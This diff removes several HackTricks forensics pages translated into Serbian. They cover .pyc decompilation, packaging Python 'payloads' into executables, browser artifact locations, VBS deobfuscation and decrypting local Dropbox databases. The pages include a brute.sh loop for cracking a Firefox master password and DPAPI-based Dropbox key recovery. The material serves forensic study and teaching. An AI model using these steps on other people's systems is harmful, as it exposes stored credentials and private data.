hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Greška: Decompiling generic errors
|
||||
|
||||
**Druge greške** kao što su: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti.
|
||||
|
||||
To verovatno znači da **niste ispravno dodali** magični broj ili da niste **koristili** **ispravan magični broj**, pa se **pobrinite da koristite ispravan** (ili pokušajte novi).
|
||||
|
||||
Proverite dokumentaciju o prethodnim greškama.
|
||||
|
||||
## Automatski alat
|
||||
|
||||
[**python-exe-unpacker alat**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih u zajednici, dizajniranih da pomognu istraživačima u raspakivanju i decompiling izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje.
|
||||
|
||||
### ImportError: Ime datoteke: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
|
||||
|
||||
Uobičajen problem koji se javlja uključuje nepotpunu Python bytecode datoteku koja je rezultat **procesa raspakivanja sa unpy2exe ili pyinstxtractor**, koja zatim **ne može biti prepoznata od strane uncompyle6 zbog nedostatka broja verzije Python bytecode-a**. Da bi se to rešilo, dodata je opcija za preklapanje, koja dodaje neophodan broj verzije Python bytecode-a, olakšavajući proces decompiling-a.
|
||||
|
||||
Primer problema:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
```
|
||||
|
||||
```python
|
||||
# Successful decompilation after using the prepend option
|
||||
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||
[*] On Python 2.7
|
||||
[+] Magic bytes are already appended.
|
||||
|
||||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Analiza python asemblera
|
||||
|
||||
Ako niste mogli da izvučete "originalni" python kod prateći prethodne korake, možete pokušati da **izvučete** **asembler** (ali **nije baš opisno**, pa **pokušajte** ponovo da izvučete originalni kod). U [ovde](https://bits.theorem.co/protecting-a-python-codebase/) sam pronašao vrlo jednostavan kod za **dezintegraciju** _.pyc_ binarnog fajla (srećno sa razumevanjem toka koda). Ako je _.pyc_ iz python2, koristite python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
>>> import struct
|
||||
>>> import imp
|
||||
>>>
|
||||
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||
... magic = f.read(4)
|
||||
... timestamp = f.read(4)
|
||||
... code = f.read()
|
||||
...
|
||||
>>>
|
||||
>>> # Unpack the structured content and un-marshal the code
|
||||
>>> magic = struct.unpack('<H', magic[:2])
|
||||
>>> timestamp = struct.unpack('<I', timestamp)
|
||||
>>> code = marshal.loads(code)
|
||||
>>> magic, timestamp, code
|
||||
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||
>>>
|
||||
>>> # Verify if the magic number corresponds with the current python version
|
||||
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||
True
|
||||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python u izvršni fajl
|
||||
|
||||
Da počnemo, pokažaćemo vam kako se payloadi mogu kompajlirati u py2exe i PyInstaller.
|
||||
|
||||
### Da kreirate payload koristeći py2exe:
|
||||
|
||||
1. Instalirajte py2exe paket sa [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Za payload (u ovom slučaju, nazvaćemo ga hello.py), koristite skriptu kao što je prikazano na Slici 1. Opcija “bundle_files” sa vrednošću 1 će sve spojiti, uključujući Python interpreter, u jedan exe.
|
||||
3. Kada je skripta spremna, izdaćemo komandu “python setup.py py2exe”. Ovo će kreirati izvršni fajl, baš kao na Slici 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
||||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||
running py2exe
|
||||
*** searching for required modules ***
|
||||
*** parsing results ***
|
||||
*** finding dlls needed ***
|
||||
*** create binaries ***
|
||||
*** byte compile python files ***
|
||||
*** copy extensions ***
|
||||
*** copy dlls ***
|
||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Da biste kreirali payload koristeći PyInstaller:
|
||||
|
||||
1. Instalirajte PyInstaller koristeći pip (pip install pyinstaller).
|
||||
2. Nakon toga, izdaćemo komandu “pyinstaller –onefile hello.py” (podsećanje da je ‘hello.py’ naš payload). Ovo će sve spojiti u jedan izvršni fajl.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
108 INFO: Python: 2.7.14
|
||||
108 INFO: Platform: Windows-10-10.0.16299
|
||||
………………………………
|
||||
5967 INFO: checking EXE
|
||||
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||
5982 INFO: Building EXE from out00-EXE.toc
|
||||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,41 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ovde možete pronaći zanimljive trikove za specifične tipove fajlova i/ili softver:
|
||||
|
||||
{{#ref}}
|
||||
.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
desofuscation-vbs-cscript.exe.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
local-cloud-storage.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
office-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
pdf-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
png-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
video-and-audio-file-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
zips-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,162 +0,0 @@
|
||||
# Browser Artifacts
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Browser artifacts uključuju različite tipove podataka koje čuvaju web pregledači, kao što su istorija navigacije, obeleživači i podaci iz keša. Ovi artefakti se čuvaju u specifičnim folderima unutar operativnog sistema, koji se razlikuju po lokaciji i imenu među pregledačima, ali generalno čuvaju slične tipove podataka.
|
||||
|
||||
Evo sažetak najčešćih browser artefakata:
|
||||
|
||||
- **Navigacija Istorija**: Prati posete korisnika web sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
|
||||
- **Podaci za Autocomplete**: Predlozi zasnovani na čestim pretragama, nude uvid kada se kombinuju sa istorijom navigacije.
|
||||
- **Obeleživači**: Sajtovi koje je korisnik sačuvao za brzi pristup.
|
||||
- **Ekstenzije i Dodaci**: Ekstenzije ili dodaci pregledača koje je instalirao korisnik.
|
||||
- **Keš**: Čuva web sadržaj (npr. slike, JavaScript datoteke) kako bi poboljšao vreme učitavanja sajtova, vredno za forenzičku analizu.
|
||||
- **Prijave**: Sačuvane prijavne informacije.
|
||||
- **Favicons**: Ikone povezane sa web sajtovima, koje se pojavljuju u karticama i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||
- **Sesije Pregledača**: Podaci vezani za otvorene sesije pregledača.
|
||||
- **Preuzimanja**: Zapisnici datoteka preuzetih putem pregledača.
|
||||
- **Podaci iz Formi**: Informacije unesene u web forme, sačuvane za buduće predloge za automatsko popunjavanje.
|
||||
- **Sličice**: Pregledne slike web sajtova.
|
||||
- **Custom Dictionary.txt**: Reči koje je korisnik dodao rečniku pregledača.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na specifičnim lokacijama u zavisnosti od operativnog sistema:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
Datoteka `profiles.ini` unutar ovih direktorijuma sadrži listu korisničkih profila. Podaci svakog profila se čuvaju u folderu nazvanom u `Path` varijabli unutar `profiles.ini`, koji se nalazi u istom direktorijumu kao i `profiles.ini`. Ako nedostaje folder profila, možda je obrisan.
|
||||
|
||||
Unutar svakog foldera profila možete pronaći nekoliko važnih datoteka:
|
||||
|
||||
- **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) na Windows-u mogu pristupiti podacima o istoriji.
|
||||
- Koristite specifične SQL upite za ekstrakciju informacija o istoriji i preuzimanjima.
|
||||
- **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
|
||||
- **formhistory.sqlite**: Čuva podatke iz web formi.
|
||||
- **handlers.json**: Upravljanje protokolima.
|
||||
- **persdict.dat**: Reči iz prilagođenog rečnika.
|
||||
- **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i ekstenzijama.
|
||||
- **cookies.sqlite**: Skladištenje kolačića, uz [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupno za inspekciju na Windows-u.
|
||||
- **cache2/entries** ili **startupCache**: Podaci iz keša, dostupni putem alata kao što je [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Čuva favicone.
|
||||
- **prefs.js**: Korisničke postavke i preferencije.
|
||||
- **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
|
||||
- **thumbnails**: Sličice web sajtova.
|
||||
- **logins.json**: Enkriptovane prijavne informacije.
|
||||
- **key4.db** ili **key3.db**: Čuva ključeve za enkripciju radi zaštite osetljivih informacija.
|
||||
|
||||
Pored toga, proveru podešavanja pregledača za zaštitu od phishing-a možete izvršiti pretraživanjem `browser.safebrowsing` unosa u `prefs.js`, što ukazuje na to da li su funkcije sigurne navigacije omogućene ili onemogućene.
|
||||
|
||||
Da biste pokušali da dekriptujete glavnu lozinku, možete koristiti [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
Sa sledećim skriptom i pozivom možete odrediti datoteku lozinki za brute force:
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||
passfile=$1
|
||||
while read pass; do
|
||||
echo "Trying $pass"
|
||||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
.png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome čuva korisničke profile na specifičnim lokacijama u zavisnosti od operativnog sistema:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Unutar ovih direktorijuma, većina korisničkih podataka može se naći u **Default/** ili **ChromeDefaultData/** folderima. Sledeće datoteke sadrže značajne podatke:
|
||||
|
||||
- **History**: Sadrži URL-ove, preuzimanja i ključne reči za pretragu. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) može se koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, otkucane URL-ove, slanje obrazaca i ponovna učitavanja stranica.
|
||||
- **Cookies**: Čuva kolačiće. Za inspekciju, dostupna je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
||||
- **Cache**: Drži keširane podatke. Da bi se izvršila inspekcija, korisnici Windows-a mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||
- **Bookmarks**: Korisnički obeleživači.
|
||||
- **Web Data**: Sadrži istoriju obrazaca.
|
||||
- **Favicons**: Čuva favicon-e sajtova.
|
||||
- **Login Data**: Uključuje podatke za prijavu kao što su korisnička imena i lozinke.
|
||||
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
|
||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
||||
- **Extensions**: Direktorijumi za ekstenzije i dodatke pretraživača.
|
||||
- **Thumbnails**: Čuva sličice sajtova.
|
||||
- **Preferences**: Datoteka bogata informacijama, uključujući podešavanja za dodatke, ekstenzije, iskačuće prozore, obaveštenja i još mnogo toga.
|
||||
- **Browser’s built-in anti-phishing**: Da biste proverili da li su zaštita od prevara i zaštita od malvera omogućene, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
||||
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
Kao što možete primetiti u prethodnim sekcijama, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **oporaviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju sačuvanih informacija i njihovih odgovarajućih detalja za lak pristup i upravljanje.
|
||||
|
||||
### Metadata Storage
|
||||
|
||||
Metapodaci za Internet Explorer čuvaju se u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (gde je VX V01, V16 ili V24). Uz to, datoteka `V01.log` može pokazati razlike u vremenu modifikacije sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom koristeći `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se oporaviti i inspekciji pomoću alata kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). Unutar **Containers** tabele, može se uočiti specifične tabele ili kontejneri gde je svaki segment podataka smešten, uključujući detalje o kešu za druge Microsoft alate kao što je Skype.
|
||||
|
||||
### Cache Inspection
|
||||
|
||||
Alat [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju foldera za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime datoteke, direktorijum, broj pristupa, URL izvor i vremenske oznake koje označavaju vreme kreiranja, pristupa, modifikacije i isteka keša.
|
||||
|
||||
### Cookies Management
|
||||
|
||||
Kolačići se mogu istraživati koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), sa metapodacima koji obuhvataju imena, URL-ove, brojeve pristupa i razne vremenske detalje. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
||||
|
||||
### Download Details
|
||||
|
||||
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), sa specifičnim kontejnerima koji sadrže podatke kao što su URL, tip datoteke i lokacija preuzimanja. Fizičke datoteke se mogu naći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Browsing History
|
||||
|
||||
Da biste pregledali istoriju pretraživanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), zahtevajući lokaciju ekstraktovanih datoteka istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojevima pristupa. Datoteke istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Typed URLs
|
||||
|
||||
Otucani URL-ovi i njihova vremena korišćenja čuvaju se unutar registra pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova koje je korisnik uneo i njihova poslednja vremena unosa.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
|
||||
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari podaci se čuvaju na `/Users/$User/Library/Safari`. Ključne datoteke uključuju:
|
||||
|
||||
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim oznakama poseta. Koristite `sqlite3` za upite.
|
||||
- **Downloads.plist**: Informacije o preuzetim datotekama.
|
||||
- **Bookmarks.plist**: Čuva obeležene URL-ove.
|
||||
- **TopSites.plist**: Najčešće posećeni sajtovi.
|
||||
- **Extensions.plist**: Lista ekstenzija pretraživača Safari. Koristite `plutil` ili `pluginkit` za preuzimanje.
|
||||
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za analizu.
|
||||
- **LastSession.plist**: Kartice iz poslednje sesije. Koristite `plutil` za analizu.
|
||||
- **Browser’s built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera podaci se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i deli format sa Chrome-om za istoriju i preuzimanja.
|
||||
|
||||
- **Browser’s built-in anti-phishing**: Proverite tako što ćete videti da li je `fraud_protection_enabled` u datoteci Preferences postavljeno na `true` koristeći `grep`.
|
||||
|
||||
Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pretraživači.
|
||||
|
||||
## References
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,42 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Neke stvari koje bi mogle biti korisne za debagovanje/deobfuskaciju zlonamernog VBS fajla:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
## Komentari
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## Test
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## Napišite podatke u datoteku
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,96 +0,0 @@
|
||||
# Lokalna Cloud Skladišta
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## OneDrive
|
||||
|
||||
U Windows-u, možete pronaći OneDrive folder u `\Users\<username>\AppData\Local\Microsoft\OneDrive`. I unutar `logs\Personal` moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke o sinhronizovanim datotekama:
|
||||
|
||||
- Veličina u bajtovima
|
||||
- Datum kreiranja
|
||||
- Datum modifikacije
|
||||
- Broj datoteka u cloudu
|
||||
- Broj datoteka u folderu
|
||||
- **CID**: Jedinstveni ID OneDrive korisnika
|
||||
- Vreme generisanja izveštaja
|
||||
- Veličina HD operativnog sistema
|
||||
|
||||
Kada pronađete CID, preporučuje se da **pretražujete datoteke koje sadrže ovaj ID**. Možda ćete moći da pronađete datoteke sa imenom: _**\<CID>.ini**_ i _**\<CID>.dat**_ koje mogu sadržati zanimljive informacije kao što su imena datoteka sinhronizovanih sa OneDrive.
|
||||
|
||||
## Google Drive
|
||||
|
||||
U Windows-u, možete pronaći glavni Google Drive folder u `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Ovaj folder sadrži datoteku pod nazivom Sync_log.log sa informacijama kao što su email adresa naloga, imena datoteka, vremenski oznake, MD5 heševi datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa svojim odgovarajućim MD5.
|
||||
|
||||
Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme modifikacije, veličinu i MD5 kontrolni zbir datoteka.
|
||||
|
||||
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanju deljenih foldera i verziju Google Drive-a.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovom\
|
||||
Možete pronaći baze podataka u folderima:
|
||||
|
||||
- `\Users\<username>\AppData\Local\Dropbox`
|
||||
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
- `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
A glavne baze podataka su:
|
||||
|
||||
- Sigstore.dbx
|
||||
- Filecache.dbx
|
||||
- Deleted.dbx
|
||||
- Config.dbx
|
||||
|
||||
Ekstenzija ".dbx" znači da su **baze podataka** **enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
|
||||
|
||||
Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Međutim, glavne informacije su:
|
||||
|
||||
- **Entropija**: d114a55212655f74bd772e37e64aee9b
|
||||
- **So**: 0D638C092E8B82FC452883F95F355B8E
|
||||
- **Algoritam**: PBKDF2
|
||||
- **Iteracije**: 1066
|
||||
|
||||
Pored tih informacija, da biste dekriptovali baze podataka, još uvek vam je potrebno:
|
||||
|
||||
- **enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
|
||||
- **`SYSTEM`** i **`SECURITY`** hives
|
||||
- **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
- **korisničko ime** i **lozinka** Windows korisnika
|
||||
|
||||
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
|
||||
|
||||
.png>)
|
||||
|
||||
Ako sve prođe kako se očekuje, alat će označiti **primarni ključ** koji trebate **koristiti za oporavak originalnog**. Da biste povratili originalni, jednostavno koristite ovaj [cyber_chef recept](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) stavljajući primarni ključ kao "lozinku" unutar recepta.
|
||||
|
||||
Rezultantni heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dekriptovati sa:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
**`config.dbx`** baza podataka sadrži:
|
||||
|
||||
- **Email**: Email korisnika
|
||||
- **usernamedisplayname**: Ime korisnika
|
||||
- **dropbox_path**: Putanja gde se nalazi dropbox folder
|
||||
- **Host_id: Hash** korišćen za autentifikaciju u cloud. Ovo se može opozvati samo sa veba.
|
||||
- **Root_ns**: Identifikator korisnika
|
||||
|
||||
**`filecache.db`** baza podataka sadrži informacije o svim datotekama i folderima sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa više korisnih informacija:
|
||||
|
||||
- **Server_path**: Putanja gde se datoteka nalazi unutar servera (ova putanja je prethodna sa `host_id` klijenta).
|
||||
- **local_sjid**: Verzija datoteke
|
||||
- **local_mtime**: Datum modifikacije
|
||||
- **local_ctime**: Datum kreiranja
|
||||
|
||||
Ostale tabele unutar ove baze sadrže zanimljivije informacije:
|
||||
|
||||
- **block_cache**: hash svih datoteka i foldera Dropbox-a
|
||||
- **block_ref**: Povezuje hash ID tabele `block_cache` sa ID datoteke u tabeli `file_journal`
|
||||
- **mount_table**: Deljeni folderi Dropbox-a
|
||||
- **deleted_fields**: Obrišene datoteke Dropbox-a
|
||||
- **date_added**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,18 +0,0 @@
|
||||
# Analiza Office datoteka
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Za više informacija proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
|
||||
|
||||
Microsoft je kreirao mnoge formate office dokumenata, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, što ih čini metama za phishing i malver. OOXML datoteke su strukturirane kao zip kontejneri, što omogućava inspekciju kroz raspakivanje, otkrivajući hijerarhiju datoteka i foldera i sadržaj XML datoteka.
|
||||
|
||||
Da bi se istražile strukture OOXML datoteka, data je komanda za raspakivanje dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim datotekama su dokumentovane, što ukazuje na kontinuiranu inovaciju u skrivanju podataka unutar CTF izazova.
|
||||
|
||||
